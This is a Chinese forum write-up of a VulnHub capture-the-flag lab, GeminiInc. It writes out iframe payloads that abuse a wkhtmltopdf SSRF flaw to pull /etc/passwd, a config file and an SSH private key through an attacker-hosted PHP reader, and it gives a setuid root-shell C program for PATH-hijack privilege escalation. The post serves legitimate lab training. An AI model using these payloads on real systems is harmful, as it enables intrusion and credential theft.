电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 552 人浏览分享

VnlnHub GeminiInc-Pentest

[复制链接]
552 0
靶场搭建

靶场下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip

下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

启动虚拟机

QQ截图20221130105928.png

靶场搭建完毕。

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

QQ截图20221130110018.png

147为kali攻击机ip,所以152为靶机ip

扫描靶机端口服务开放情况

999.png

开放了22端口存在SSH服务

开放了80端口存在HTTP服务,且中间件为Apache2.4.25

先访问一下WEB

998.png

页面上的信息显示当前我们时Guest用户,并且页面使用了开源框架,并且给出了给github地址

996.png

在查看源码时发现了/test2/login.php页面

993.png
991.png

知道源码地址,我们尝试去查看源码

在源码中的install.php文件中发现了一对默认账号密码admin/1234

990.png

使用这对账号密码尝试登录刚才发现的login.php页面

发现登录成功,用户变成了admin用户

899.png

查找页面其它功能,发现只有查看用户信息和编辑信息功能还有输出成PDF功能

898.png

尝试修改用户信息

896.png

在Display name 处发现了一个存储型XSS漏洞,但是这个漏洞不能让我们拿到shell

892.png

891.png

查看输出成PDF这个功能

918.png

在文档属性中看到创建者为wkhtmltopdf0.12.4,似乎是这个导出功能所使用的框架工具

109.png

所以我们可以搜索一下看这个框架是否存在漏洞可以利用

发现果然存在可以利用漏洞

存在SSRF导致的任意文件读取漏洞

108.png

所以我们尝试向刚才存在存储型XSS的地方输入exp,利用img,iframe等标签来读取文件

<iframe src="file:///etc/passwd></iframe>

106.png

发现无法读取出本地文件

100.png

来尝试读取远程文件

使用python搭建一个临时网站

99.png

<iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe>

发现确实存在远程文件读取

QQ截图20221130142201.png

存在远程文件读取的话,本地文件读取应该也是存在的,应该是存在某些限制导致我们前面读取失败

经过搜索发现可以通过构造远程包含读取文件的PHP文件来达到读取文件的目的

QQ截图20221130142242.png

在/var/www/html下创建一个PHP文件

QQ截图20221130142317.png

启动apache服务

360.png

然后构造请求

<iframe src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>

保存输出PDF,发现成功读取了文件

228.png

这个iframe窗口大小不够完全显示内容,把大小调大

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>

发现gemini1用户可以登录

226.png

再尝试看能否读取到/etc/shadow文件,发现读取不到,证明权限不够

222.png

此漏洞在这只能实现文件的读取,不能实现命令执行

所以我们要尽量去读取一些敏感文件

在源码中找到配置文件的位置

221.png

尝试读取配置文件

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/ww
w/html/test2/inc/settings.php"></iframe>

成功读取到配置文件

220.png

成功读取到数据库账号密码,但是数据库并没有对外开放

猜测这个密码可能也是ssh登陆的密码,所以尝试登录

219.png

发现并不正确,但是发现可以通过公钥登录

尝试读取公钥,看家目录下是否存在公私钥

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/hom
e/gemini1/.ssh/id_rsa"></iframe>

发现果然存在私钥

218.png

将公钥复制保存

216.png

赋予权限,成功登录

213.png

浏览了各目录没有发现有用的信息

提权

sudo提权

sudo -l 查看是否有可提权的命令

212.png

不能通过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所
有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

nmap
vim
find
bash
more
less
nano
cp
awk
发现有一个不常见的文件

211.png

不知道这个文件的功能是什么,尝试执行

210.png

发现列出了网卡信息和端口开放情况和当前日期时间

似乎这些信息都是linux自带的命令输出的内容

查看文件类型,未linux elf可执行文件

209.png

查看包含字符串,发现果然包含这些系统命令

208.png

发现三个命令都由绝对路径,且当前用户无权限修改

只有date这个命令没有绝对路径,所以我们创建一个date文件,修改环境变量,让listinfo这个程序执行

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

再/home/gemini1目录下创建date.c文件(在其它目录下没有权限)

189.png

编译

188.png

修改环境变量

29.png

执行listinfo,提权成功

28.png

获得到flag

26.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.